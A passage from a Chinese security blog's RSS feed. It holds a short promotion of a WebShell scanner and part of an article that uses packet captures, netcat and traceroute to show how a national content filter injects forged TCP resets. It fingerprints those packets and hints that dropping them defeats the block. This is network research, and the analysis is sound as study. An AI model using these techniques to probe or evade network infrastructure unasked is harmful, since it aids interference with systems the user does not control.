&lt;blockquote&gt;&lt;p&gt;Safe3 WebShell Scanner是国内率先推出的一款绿色完全免费的web代码查杀软件，独创的智能扫描技术能有效扫描asp、php、jsp、aspx等多种WebShell，弥补了通常杀毒软件不能完全查杀WebShell的不足,给广大站长带来了福音。&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;&lt;span id=&quot;more-3444&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;img class=&quot;alignnone size-full wp-image-3443&quot; title=&quot;10017142 / Original Resolution - 575x464px&quot; src=&quot;http://huaidan.org/wp-content/uploads/2010/01/10017142.jpg&quot; alt=&quot;&quot; width=&quot;404.2068965517241&quot; height=&quot;320&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载地址:&lt;a href=&quot;http://www.safe3.com.cn/wscan.rar&quot; target=&quot;_blank&quot;&gt;http://www.safe3.com.cn/wscan.rar&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;a href=&quot;http://huaidan.org/archives/3444.html#respond&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;发表评论&lt;/strong&gt;&lt;/a&gt; | 分类：&lt;a href=&quot;http://huaidan.org/archives/category/tools&quot; title=&quot;显示工具收集的所有日志&quot; rel=&quot;category tag&quot;&gt;工具收集&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;

© 鬼仔 for &lt;a href=&quot;http://huaidan.org&quot; target=&quot;_blank&quot;&gt;鬼仔's Blog&lt;/a&gt;, 2010. | 本文网址：&lt;a href=&quot;http://huaidan.org/archives/3444.html&quot; target=&quot;_blank&quot;&gt;http://huaidan.org/archives/3444.html&lt;/a&gt;&lt;img src=&quot;http://img.tongji.linezing.com/708134/tongji.gif&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/328782633/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3444.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782633/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782633/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huaidan.org/archives/3444.html/feed</wfw:commentRss><slash:comments>6</slash:comments><description># 鬼仔：帮朋友发一下。
Safe3 WebShell Scanner是国内率先推出的一款绿色完全免费的web代码查杀软件，独创的智能扫描技术能有效扫描asp、php、jsp、aspx等多种WebShell，弥补了通常杀毒软件不能完全...&lt;img src=&quot;http://www1.feedsky.com/t1/328782633/sunlei/feedsky/s.gif?r=http://huaidan.org/archives/3444.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/sunlei/328782633/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/sunlei/328782633/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;</description><category>工具收集</category><category>WebShell</category><pubDate>Fri, 08 Jan 2010 14:50:07 +0800</pubDate><author>鬼仔</author><comments>http://huaidan.org/archives/3444.html#comments</comments><guid isPermaLink="false">http://huaidan.org/archives/3444.html</guid><dc:creator>鬼仔</dc:creator><fs:srclink>http://huaidan.org/archives/3444.html</fs:srclink><fs:srcfeed>http://huaidan.org/feed</fs:srcfeed><fs:itemid>feedsky/sunlei/~7027661/328782633/1230972</fs:itemid></item><item><title>对某款国家级内容过滤系统Dos安全缺陷分析</title><link>http://huaidan.org/archives/3442.html</link><content:encoded>&lt;p&gt;Author: &lt;a href=&quot;http://www.80sec.com/dos-with-xxx.html&quot; target=&quot;_blank&quot;&gt;jianxin [80sec]&lt;/a&gt;&lt;br /&gt;
EMail:	 jianxin#80sec.com&lt;br /&gt;
Site: http://www.80sec.com&lt;br /&gt;
Date:	2009-1-2&lt;br /&gt;
From:	http://www.80sec.com/release/dos-with-XXX.txt&lt;/p&gt;
&lt;p&gt;[ 目录 ]&lt;/p&gt;
&lt;p&gt;0x00	前言&lt;br /&gt;
0x01	know it，了解这款内容过滤系统&lt;br /&gt;
0x02	Hack it，对防火墙类ids的一些安全研究&lt;br /&gt;
0x03	后话&lt;br /&gt;
&lt;span id=&quot;more-3442&quot;&gt;&lt;/span&gt;&lt;br /&gt;
0x00	前言&lt;/p&gt;
&lt;p&gt;最近在学习网络基础知识，秉承Hack to learn的作风，想对学习做个总结就想到分析一些网络设备的安全问题来作为一次总结。相信对于某款国家级内容过滤系统大家都不陌生，也被称为国家边界防火墙，其本质上只是一款强大的入侵检测系统，并且在某些行为发生时对网络攻击进行实时的联动阻断。这里对它的作用并不做探讨，对如何绕过它也不做分析，这里仅仅是将它看作一款功能强大的国家级IPS，从技术角度来讨论下这类IPS在关键网络部署时可能存在的一些安全问题以及对普通网站的影响。&lt;/p&gt;
&lt;p&gt;0x01	know it，了解这款内容过滤系统&lt;/p&gt;
&lt;p&gt;同一般的入侵检测系统或者其他号称网关级别过滤系统类似，它定义了一些策略以阻止某些危险的网络访问，其策略包含静态封禁也包含动态封禁，譬如对于Google和Yahoo类搜索引擎来说，国内用户在使用这些站点时如果触发了敏感的关键词的话，其IP就会被动态封禁一段时间，几分钟之类将不能再使用Google，这里的关键词就是被防火墙所定义的危险行为，譬如拿关键词Freenet/freenet来说，在Google里进行一次搜索请求之后就会发现Google在几分钟之内将不再能被访问，多余所有其他处于国外的服务器效果也是一样。我分析的整个过程如下:&lt;/p&gt;
&lt;p&gt;首先对正常的一次Google访问抓包，可以看到结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:39:26.261092 IP (tos 0x0, ttl 64, id 33001, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: S, cksum 0xcc0f (correct), 1790346900:1790346900(0) win 5840 &amp;lt;mss 1460,sackOK,timestamp 329341 0,nop,wscale 4&amp;gt;
22:39:26.349797 IP (tos 0x0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: S, cksum 0x3698 (correct), 3974796664:3974796664(0) ack 1790346901 win 5672 &amp;lt;mss 1412,sackOK,timestamp 1072157681 329341,nop,wscale 6&amp;gt;
22:39:26.350452 IP (tos 0x0, ttl 64, id 33002, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: ., cksum 0x79d7 (correct), 1790346901:1790346901(0) ack 3974796665 win 365 &amp;lt;nop,nop,timestamp 329364 1072157681&amp;gt;
22:39:36.161454 IP (tos 0x0, ttl 64, id 33003, offset 0, flags [DF], proto TCP (6), length 67) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: P, cksum 0xa1a9 (correct), 1790346901:1790346916(15) ack 3974796665 win 365 &amp;lt;nop,nop,timestamp 331806 1072157681&amp;gt;
22:39:36.248632 IP (tos 0x0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: ., cksum 0x4a9a (correct), 3974796665:3974796665(0) ack 1790346916 win 89 &amp;lt;nop,nop,timestamp 1072167593 331806&amp;gt;
22:39:37.476626 IP (tos 0x0, ttl 64, id 33004, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: P, cksum 0x3e36 (correct), 1790346916:1790346917(1) ack 3974796665 win 365 &amp;lt;nop,nop,timestamp 332133 1072167593&amp;gt;
22:39:37.563675 IP (tos 0x0, ttl 50, id 41054, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: ., cksum 0x442e (correct), 3974796665:3974796665(0) ack 1790346917 win 89 &amp;lt;nop,nop,timestamp 1072168909 332133&amp;gt;
22:39:37.611453 IP (tos 0x0, ttl 50, id 41055, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: . 3974796665:3974798065(1400) ack 1790346917 win 89 &amp;lt;nop,nop,timestamp 1072168933 332133&amp;gt;
22:39:37.611545 IP (tos 0x0, ttl 64, id 33005, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: ., cksum 0x3cb3 (correct), 1790346917:1790346917(0) ack 3974798065 win 546 &amp;lt;nop,nop,timestamp 332167 1072168933&amp;gt;
22:39:37.624333 IP (tos 0x0, ttl 50, id 41056, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: . 3974798065:3974799465(1400) ack 1790346917 win 89 &amp;lt;nop,nop,timestamp 1072168933 332133&amp;gt;
22:39:37.624364 IP (tos 0x0, ttl 64, id 33006, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: ., cksum 0x3683 (correct), 1790346917:1790346917(0) ack 3974799465 win 727 &amp;lt;nop,nop,timestamp 332170 1072168933&amp;gt;
22:39:37.642937 IP (tos 0x0, ttl 50, id 41057, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: . 3974799465:3974800865(1400) ack 1790346917 win 89 &amp;lt;nop,nop,timestamp 1072168933 332133&amp;gt;
22:39:37.642953 IP (tos 0x0, ttl 64, id 33007, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: ., cksum 0x3051 (correct), 1790346917:1790346917(0) ack 3974800865 win 908 &amp;lt;nop,nop,timestamp 332175 1072168933&amp;gt;
22:39:37.646286 IP (tos 0x0, ttl 50, id 41058, offset 0, flags [none], proto TCP (6), length 532) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: P 3974800865:3974801345(480) ack 1790346917 win 89 &amp;lt;nop,nop,timestamp 1072168933 332133&amp;gt;
22:39:37.646302 IP (tos 0x0, ttl 64, id 33008, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: ., cksum 0x2dc1 (correct), 1790346917:1790346917(0) ack 3974801345 win 1083 &amp;lt;nop,nop,timestamp 332176 1072168933&amp;gt;
22:39:37.717617 IP (tos 0x0, ttl 50, id 41059, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: . 3974801345:3974802745(1400) ack 1790346917 win 89 &amp;lt;nop,nop,timestamp 1072169045 332167&amp;gt;
22:39:37.717634 IP (tos 0x0, ttl 64, id 33009, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: ., cksum 0x2713 (correct), 1790346917:1790346917(0) ack 3974802745 win 1264 &amp;lt;nop,nop,timestamp 332193 1072169045&amp;gt;
22:39:37.736610 IP (tos 0x0, ttl 50, id 41060, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: . 3974802745:3974804145(1400) ack 1790346917 win 89 &amp;lt;nop,nop,timestamp 1072169045 332167&amp;gt;
22:39:37.736645 IP (tos 0x0, ttl 64, id 33010, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: ., cksum 0x20e1 (correct), 1790346917:1790346917(0) ack 3974804145 win 1445 &amp;lt;nop,nop,timestamp 332198 1072169045&amp;gt;
22:39:37.755088 IP (tos 0x0, ttl 50, id 41061, offset 0, flags [none], proto TCP (6), length 1449) 64.233.189.103.80 &amp;gt; 192.168.1.4.44297: P 3974804145:3974805542(1397) ack 1790346917 win 89 &amp;lt;nop,nop,timestamp 1072169045 332167&amp;gt;
22:39:37.755107 IP (tos 0x0, ttl 64, id 33011, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 &amp;gt; 64.233.189.103.80: ., cksum 0x1ab2 (correct), 1790346917:1790346917(0) ack 3974805542 win 1626 &amp;lt;nop,nop,timestamp 332203 1072169045&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以看到完整的一次请求过程，先是三次握手，然后是发数据包以及服务器和客户端之间的完整交互，从这里我们可以识别出Google服务器的一些指纹特征，譬如未设置不分片标志，TTL值比较恒定为50等等。&lt;br /&gt;
那么当一次非法的请求发生时，情况会是怎么样的呢？譬如在Google里搜索会被封禁的关键词freenet的时候，结果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
GET /?q=freenet HTTP/1.1

sent 26, rcvd 0
bt ~ #&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到一发送非法的请求之后Google就主动断开了链接，整个过程的网络抓包如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:54:15.744058 IP (tos 0x0, ttl 64, id 36724, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.42909 &amp;gt; 64.233.189.103.80: S, cksum 0xd712 (correct), 2729633795:2729633795(0) win 5840 &amp;lt;mss 1460,sackOK,timestamp 550775 0,nop,wscale 4&amp;gt;
22:54:15.831374 IP (tos 0x0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &amp;gt; 192.168.1.4.42909: S, cksum 0x9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672 &amp;lt;mss 1412,sackOK,timestamp 1081539534 550775,nop,wscale 6&amp;gt;
22:54:15.831408 IP (tos 0x0, ttl 64, id 36725, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.42909 &amp;gt; 64.233.189.103.80: ., cksum 0xd4a3 (correct), 2729633796:2729633796(0) ack 1209516568 win 365 &amp;lt;nop,nop,timestamp 550797 1081539534&amp;gt;
22:54:31.619002 IP (tos 0x0, ttl 64, id 36726, offset 0, flags [DF], proto TCP (6), length 77) 192.168.1.4.42909 &amp;gt; 64.233.189.103.80: P, cksum 0xd6e1 (correct), 2729633796:2729633821(25) ack 1209516568 win 365 &amp;lt;nop,nop,timestamp 554727 1081539534&amp;gt;
22:54:31.727889 IP (tos 0x0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &amp;gt; 192.168.1.4.42909: ., cksum 0x8867 (correct), 1209516568:1209516568(0) ack 2729633821 win 89 &amp;lt;nop,nop,timestamp 1081555371 554727&amp;gt;
22:54:32.065444 IP (tos 0x0, ttl 64, id 36727, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.42909 &amp;gt; 64.233.189.103.80: P, cksum 0x7cdb (correct), 2729633821:2729633822(1) ack 1209516568 win 365 &amp;lt;nop,nop,timestamp 554838 1081555371&amp;gt;
22:54:32.148169 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.4.42909: R, cksum 0x3399 (correct), 1209516568:1209516568(0) win 2605
22:54:32.151504 IP (tos 0x0, ttl 50, id 12869, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &amp;gt; 192.168.1.4.42909: ., cksum 0x863a (correct), 1209516568:1209516568(0) ack 2729633822 win 89 &amp;lt;nop,nop,timestamp 1081555816 554838&amp;gt;
22:54:32.151840 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 &amp;gt; 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0
22:54:32.153474 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.4.42909: R, cksum 0x1779 (correct), 1209516568:1209516568(0) win 9805&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到的是，用户在发送完push包之后，Google的服务器也就是64.233.189.103返回了ack数据包表示收到了该请求，并且回复的ack包的序列号跟预期的一致，这里有两次push是因为我用nc提交的，加的回车会单独发一个过去。这样理论上服务器应该马上会回复一个push包响应我们前面的请求，但是结果我们收到了一个意外的rst包如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;22:54:32.148169 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.4.42909: R, cksum 0x3399 (correct), 1209516568:1209516568(0) win 2605&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;并且该诡异的tcp包还发了两次，然后我们的客户端就以为服务器重置了该链接，这个时候服务器还老老实实的回复了一个对前面的push包的确认包，不过这个包已经被前面莫名其妙的rst包用掉了，并且客户端也按要求重置了链接，所以就回复了一个rst包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;22:54:32.151840 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 &amp;gt; 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恩，这个tcp链接到这里玩完了。那么这个莫名其妙的rst包是谁发出来的呢？首先来确认下是不是Google自己抽风发出来的吧。注意最上面提到的正常情况下来自Google返回的包的指纹，我们可以看到如下几个地方发生了明显的变化：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;22:54:15.831374 IP (tos 0x0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &amp;gt; 192.168.1.4.42909: S, cksum 0x9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672 &amp;lt;mss 1412,sackOK,timestamp 1081539534 550775,nop,wscale 6&amp;gt;
22:54:32.148169 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.4.42909: R, cksum 0x3399 (correct), 1209516568:1209516568(0) win 2605&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先ttl发生了变化，这在默认情况下基本代表了设备在网络上的位置，另外ID在系统内被用来识别一个tcp包，明显的差异过大，然后Google的服务器还返回了一堆可选字段的内容，但是那个怪异的rst包完全没有这个特征，通过这些基本可以确认这个rst包并非来自于真正的Google服务器，通过多抓几次数据包就可以证明这个结论。那么这个设备是出于哪个位置呢？我们简单的tracert下看看结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;traceroute to 64.233.189.103 (64.233.189.103), 30 hops max, 38 byte packets
1  localhost (192.168.1.1)  4.667 ms  1.949 ms  1.650 ms
2  114.249.208.1 (114.249.208.1)  28.304 ms  28.438 ms  34.123 ms
3  125.35.65.97 (125.35.65.97)  26.429 ms  27.363 ms  25.844 ms
4  bt-227-109.bta.net.cn (202.106.227.109)  27.641 ms  26.971 ms  27.268 ms
5  61.148.153.121 (61.148.153.121)  26.936 ms  27.722 ms  27.802 ms
6  123.126.0.121 (123.126.0.121)  27.675 ms  26.996 ms  28.620 ms
7  219.158.4.94 (219.158.4.94)  82.732 ms  82.175 ms  82.608 ms
8  219.158.3.66 (219.158.3.66)  69.978 ms  70.491 ms  136.986 ms
9  219.158.3.130 (219.158.3.130)  77.807 ms  87.424 ms  446.165 ms
10  219.158.32.230 (219.158.32.230)  413.888 ms  87.384 ms  86.614 ms
11  64.233.175.207 (64.233.175.207)  114.188 ms  79.037 ms  113.107 ms
12  209.85.241.56 (209.85.241.56)  87.721 ms  88.063 ms  87.341 ms
13  66.249.94.6 (66.249.94.6)  87.068 ms  99.377 ms  94.140 ms
14  hkg01s01-in-f103.1e100.net (64.233.189.103)  86.094 ms  85.901 ms  86.429 ms&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ttl是数据包在网络上的存活时间，每经过一个路由器这个ttl就会减1，可以避免某些数据包无止境的在网络上传输，所以可以被用来确认设备离我们主机在网络上的跳数和距离。我们在抓包的时候可以发现我们默认发出去的数据包ttl是64，我这里用的是linux的系统，一般的网络设备初始值为64，128，255，linux类系统的初始值一般都为64，所以这里我们可以看到Google返回值是50，这是可以确认的，因为可以看到我们到google有14跳，一般linux服务器的初始值为64，到我们这正好是50。那么这个ttl=53的异常包是在哪呢？64-13=11，哦，应该是在11跳左右，到路由上链上找找就发现可能是64.233.175.207这个IP发的，但是去查却会发现这个ip是Google的，米国人民劫持我们的数据包不让访问Google？不太靠谱啊，那么很可能是从第10旁路出去的包，查查第10跳发现是网通骨干网的，这理论上就是可能的了，当然，这之前的节点都有可能，但是最有可能的应该还是这个节点，因为这个节点可以监视所有出口的流量嘛！&lt;br /&gt;
再来分析下是如何拒绝掉我们的链接的，该设备嫁接在骨干网上，说是嫁接是因为做这个事情的应该不是骨干路由器，从TTL或者其他一些常识可以看出来，毕竟骨干路由上直接做操作的话风险太大了，不能影响正常应用这是防火墙起码的要求，既然该设备能处于这么一个位置，那么自然可以做到将流量以镜像的方式导入到自己的设备上，并且实时的监视整个tcp的链接。我们知道想表示一条正常的tcp链接是需要五元组的，包括协议，源端口，源IP，目的端口，目的IP，想完整的控制一个tcp链接还需要在这个基础上加一个seq，ack序列号表示正常的tcp进行的状态，想猜测这些基本是不可能的。黑客多少年梦想的对这些的预测都可以轻易在骨干路由上的旁路设备实现，在某些省市大行劫持之道的运营商面前，黑客是个弱势群体。既然有五元组，还有序列号，那么对tcp的操作自然非常简单了，最高明的就是一个rst包让整个tcp链接直接消失掉。有些文章说这个神奇的设备会向两边发送rst包，从我的抓包分析结果来看，看起来这个结论并不可靠，如果向google发送了rst包的话，那么后面一个push的ack包就应该是没有收到才对。另外可以看到，第一个push包发出去之后，这个神奇的设备就有了反应，并不等我第二个包请求发出去凑成一个完整的http请求我们就收到了rst包，这个push包触发了特征了。但是我比较奇怪的是，如果是这样，那么很可能在时间上出现服务器的push包比rst包先到达，这样就起不到阻断的作用，但是从距离和服务器需要对请求响应这点来看，这发生的几率比较小，另外一种可能是，我们客户端发送的rst包到达Google服务器的时候，服务器的push包已经发送到我们的客户端了，尽管不能完成展现，但是包已经收到了，不是么，呵呵！另外一点，从多次试验的结果来看，我们通过在系统底层处理掉id=64的包，是可以完成这一次请求的，水平有限，以后再测试：）&lt;br /&gt;
但是这一次的请求被你侥幸获取并不能意味着什么，防火墙的另外一个强大功能你还没有体验，那就是灰名单动态封禁功能，通过上面的请求，你已经被认为是黑客触发了防火墙的规则，你的ip和目标服务器之间的请求将临时性的出现问题。正常情况下到Google的TCP连接如下，这里演示的是nc链接到服务器并且断掉的结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
sent 0, rcvd 0
bt ~ #&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我按了下ctrl+c的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:53:12.553207 IP (tos 0x0, ttl 64, id 20037, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.46064 &amp;gt; 64.233.189.103.80: S, cksum 0xc664 (correct), 2283082267:2283082267(0) win 5840 &amp;lt;mss 1460,sackOK,timestamp 285790 0,nop,wscale 4&amp;gt;
21:53:12.637507 IP (tos 0x0, ttl 50, id 23363, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &amp;gt; 192.168.1.2.46064: S, cksum 0xbbe7 (correct), 889377555:889377555(0) ack 2283082268 win 5672 &amp;lt;mss 1412,sackOK,timestamp 918539372 285790,nop,wscale 6&amp;gt;
21:53:12.637539 IP (tos 0x0, ttl 64, id 20038, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 &amp;gt; 64.233.189.103.80: ., cksum 0xff28 (correct), 2283082268:2283082268(0) ack 889377556 win 365 &amp;lt;nop,nop,timestamp 285811 918539372&amp;gt;
21:53:18.110166 IP (tos 0x0, ttl 64, id 20039, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 &amp;gt; 64.233.189.103.80: F, cksum 0xf9d1 (correct), 2283082268:2283082268(0) ack 889377556 win 365 &amp;lt;nop,nop,timestamp 287177 918539372&amp;gt;
21:53:18.206770 IP (tos 0x0, ttl 50, id 23364, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 &amp;gt; 192.168.1.2.46064: F, cksum 0xe535 (correct), 889377556:889377556(0) ack 2283082269 win 89 &amp;lt;nop,nop,timestamp 918544923 287177&amp;gt;
21:53:18.206805 IP (tos 0x0, ttl 64, id 20040, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 &amp;gt; 64.233.189.103.80: ., cksum 0xe408 (correct), 2283082269:2283082269(0) ack 889377557 win 365 &amp;lt;nop,nop,timestamp 287202 918544923&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么如果触发规则之后的请求是什么样子的呢：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:18:31.651147 IP (tos 0x0, ttl 64, id 22184, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.49124 &amp;gt; 64.233.189.103.80: S, cksum 0x6925 (correct), 3774335672:3774335672(0) win 5840 &amp;lt;mss 1460,sackOK,timestamp 1809424 0,nop,wscale 4&amp;gt;
00:18:31.739447 IP (tos 0x0, ttl 50, id 44562, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &amp;gt; 192.168.1.4.49124: S, cksum 0x97db (correct), 3821251813:3821251813(0) ack 3774335673 win 5672 &amp;lt;mss 1412,sackOK,timestamp 1098842086 1809424,nop,wscale 6&amp;gt;
00:18:31.739469 IP (tos 0x0, ttl 64, id 22185, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.49124 &amp;gt; 64.233.189.103.80: ., cksum 0xdb1b (correct), 3774335673:3774335673(0) ack 3821251814 win 365 &amp;lt;nop,nop,timestamp 1809446 1098842086&amp;gt;
00:18:31.820608 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.4.49124: R, cksum 0x6ea9 (correct), 3821251814:3821251814(0) win 12379&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;三次握手之后，立刻那个莫名其妙rst包出现了，就在服务器等待客户端给它数据的时候，我们一个rst包结束了这个tcp连接的生命，这个特征依然很明显，id是64，ttl=53。但是在另外的一次测试过程中，我抓到了这样的包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:47:54.614462 IP (tos 0x0, ttl 64, id 20834, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.53343 &amp;gt; 64.233.189.103.80: S, cksum 0x8ead (correct), 1951758128:1951758128(0) win 5840 &amp;lt;mss 1460,sackOK,timestamp 206418 0,nop,wscale 4&amp;gt;
21:47:54.691420 IP (tos 0x0, ttl 42, id 26966, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.2.53343: S, cksum 0x273e (correct), 2970573198:2970573198(0) ack 1951758129 win 453
21:47:54.691449 IP (tos 0x0, ttl 64, id 20835, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 &amp;gt; 64.233.189.103.80: ., cksum 0x1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.696983 IP (tos 0x0, ttl 50, id 51733, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 &amp;gt; 192.168.1.2.53343: S, cksum 0xa76e (correct), 794483022:794483022(0) ack 1951758129 win 5672 &amp;lt;mss 1412,sackOK,timestamp 929146873 206418,nop,wscale 6&amp;gt;
21:47:54.696998 IP (tos 0x0, ttl 64, id 20836, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 &amp;gt; 64.233.189.103.80: ., cksum 0x1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.700298 IP (tos 0x0, ttl 43, id 26887, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.2.53343: R, cksum 0x292f (correct), 794483023:794483023(0) ack 1951758129 win 454
21:47:54.769090 IP (tos 0x0, ttl 46, id 26650, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.2.53343: R, cksum 0x2737 (correct), 2970573199:2970573199(0) ack 1951758129 win 457
21:47:54.769853 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 &amp;gt; 192.168.1.2.53343: R, cksum 0xcb9f (correct), 2970573199:2970573199(0) win 18679
